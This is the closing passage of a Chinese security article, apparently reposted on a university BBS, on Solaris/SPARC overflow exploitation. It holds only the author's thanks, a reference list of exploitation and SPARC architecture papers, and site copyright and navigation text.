感谢能看到这里的朋友，谢谢您的耐心.
感谢5.1这么长的假期，让我有时间写点东西。 :-)
5. 参考文献：
[1]. <<Defeating Solaris/SPARC Non-Executable Stack Protection>>,horizon
<jmcdonal@unf.edu>
[2]. << ex_lpset.c Overflow Exploits( for Intel Edition )>>,The Shadow Penguin
Security
[3]. <<Understanding stacks and registers in the Sparc architecture(s)>>,Peter
Magnusson.
[4]. <<A Laboratory Manual for the SPARC >>,Arthur B. Maccabe,Jeff Vandyke
<<完>>
版权所有，未经许可，不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障
关于我们 合作伙伴 绿盟月刊 安全论坛 系统漏洞 安全文献 工具介绍 服
务项目 客户专区
--------------------------------------------------------------------------------
绿盟计算机网络安全技术有限公司版权所有 联系:isbase@isbase.net
© 1999,2000 isbase Corporation. All rights Reserved.
--
☆ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: bbs@192.168.28.106]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: bbs.szptt.net.cn]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店